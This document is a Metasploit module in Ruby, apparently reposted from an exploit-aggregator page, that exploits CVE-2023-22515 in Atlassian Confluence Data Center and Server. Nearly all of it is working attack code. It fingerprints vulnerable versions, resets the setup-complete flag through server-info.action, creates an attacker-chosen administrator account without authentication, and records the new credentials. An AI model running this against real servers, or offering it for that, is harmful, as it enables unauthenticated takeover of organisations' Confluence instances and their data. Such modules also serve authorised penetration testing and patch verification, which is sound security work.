Share
## https://sploitus.com/exploit?id=PACKETSTORM:180865
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Atlassian Confluence Data Center and Server Authentication Bypass via Broken Access Control',  
'Description' => %q{  
This module exploits a broken access control vulnerability in Atlassian Confluence servers leading to an authentication bypass.  
A specially crafted request can be create new admin account without authentication on the target Atlassian server.  
},  
'Author' => [  
'Unknown', # exploited in the wild  
'Emir Polat' # metasploit module  
],  
'References' => [  
['CVE', '2023-22515'],  
['URL', 'https://confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html'],  
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-22515'],  
['URL', 'https://attackerkb.com/topics/Q5f0ItSzw5/cve-2023-22515/rapid7-analysis']  
],  
'DisclosureDate' => '2023-10-04',  
'DefaultOptions' => {  
'RPORT' => 8090  
},  
'License' => MSF_LICENSE,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]  
}  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [true, 'Base path', '/']),  
OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username], regex: /^[a-z._@]+$/),  
OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alpha(8)]),  
OptString.new('NEW_EMAIL', [true, 'E-mail to be used when creating a new user with admin privileges', Faker::Internet.email])  
])  
end  
  
def check  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/login.action')  
)  
return Exploit::CheckCode::Unknown unless res  
return Exploit::CheckCode::Safe unless res.code == 200  
  
poweredby = res.get_xml_document.xpath('//ul[@id="poweredby"]/li[@class="print-only"]/text()').first&.text  
return Exploit::CheckCode::Safe unless poweredby =~ /Confluence (\d+(\.\d+)*)/  
  
confluence_version = Rex::Version.new(Regexp.last_match(1))  
  
vprint_status("Detected Confluence version: #{confluence_version}")  
  
if confluence_version.between?(Rex::Version.new('8.0.0'), Rex::Version.new('8.3.2')) ||  
confluence_version.between?(Rex::Version.new('8.4.0'), Rex::Version.new('8.4.2')) ||  
confluence_version.between?(Rex::Version.new('8.5.0'), Rex::Version.new('8.5.1'))  
return Exploit::CheckCode::Appears("Exploitable version of Confluence: #{confluence_version}")  
end  
  
Exploit::CheckCode::Safe("Confluence version: #{confluence_version}")  
end  
  
def run  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/server-info.action'),  
'vars_get' => {  
'bootstrapStatusProvider.applicationConfig.setupComplete' => 'false'  
}  
)  
  
return fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Version vulnerable but setup is already completed') unless res&.code == 302 || res&.code == 200  
  
print_good('Found server-info.action! Trying to ignore setup.')  
  
created_user = create_admin_user  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'setup/finishsetup.action'),  
'headers' => {  
'X-Atlassian-Token' => 'no-check'  
}  
)  
  
return fail_with(Msf::Exploit::Failure::NoAccess, 'The admin user could not be created. Try a different username.') unless created_user  
  
print_warning('Admin user was created but setup could not be completed.') unless res&.code == 200  
  
create_credential({  
workspace_id: myworkspace_id,  
origin_type: :service,  
module_fullname: fullname,  
username: datastore['NEW_USERNAME'],  
private_type: :password,  
private_data: datastore['NEW_PASSWORD'],  
service_name: 'Atlassian Confluence',  
address: datastore['RHOST'],  
port: datastore['RPORT'],  
protocol: 'tcp',  
status: Metasploit::Model::Login::Status::UNTRIED  
})  
  
print_good("Admin user was created successfully. Credentials: #{datastore['NEW_USERNAME']} - #{datastore['NEW_PASSWORD']}")  
print_good("Now you can login as administrator from: http://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{datastore['TARGETURI']}login.action")  
end  
  
def create_admin_user  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'setup/setupadministrator.action'),  
'headers' => {  
'X-Atlassian-Token' => 'no-check'  
},  
'vars_post' => {  
'username' => datastore['NEW_USERNAME'],  
'fullName' => 'New Admin',  
'email' => datastore['NEW_EMAIL'],  
'password' => datastore['NEW_PASSWORD'],  
'confirm' => datastore['NEW_PASSWORD'],  
'setup-next-button' => 'Next'  
}  
)  
res&.code == 302  
end  
end